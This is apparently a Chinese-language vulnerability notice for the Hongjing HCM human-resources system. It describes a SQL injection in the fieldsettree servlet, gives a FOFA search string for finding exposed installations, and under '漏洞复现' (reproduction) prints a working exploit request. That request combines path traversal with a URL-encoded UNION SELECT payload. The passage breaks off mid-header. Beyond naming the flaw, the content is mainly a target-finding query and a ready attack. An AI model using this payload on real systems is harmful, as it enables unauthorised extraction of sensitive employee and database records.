产品简介
宏景HCM系统是一款由宏景软件研发的系统,主要功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考核、招聘、培训、干部任免和人事流程等业务的管理,以及人事、绩效、培训、招聘考勤等业务自助,还具备了报表功能和灵活的表格工具,支持集团管控、目标管理、领导决策等应用。
漏洞描述
宏景HCM人力资源信息管理系统fieldsettree接口存在SQL注入漏洞,通过该漏洞可获取数据库敏感信息。
fofa
app=”HJSOFT-HCM”
漏洞复现
GET /templates/attestation/../../servlet/fieldsettree?flag=2&infor=1%27%20UNION%20ALL%20SELECT%2018%2CCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28113%29%2B%28CASE%20WHEN%20%28SYSDATETIME%28%29%3DSYSDATETIME%28%29%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28113%29%2C18--%20ltAi HTTP/1.1
Acc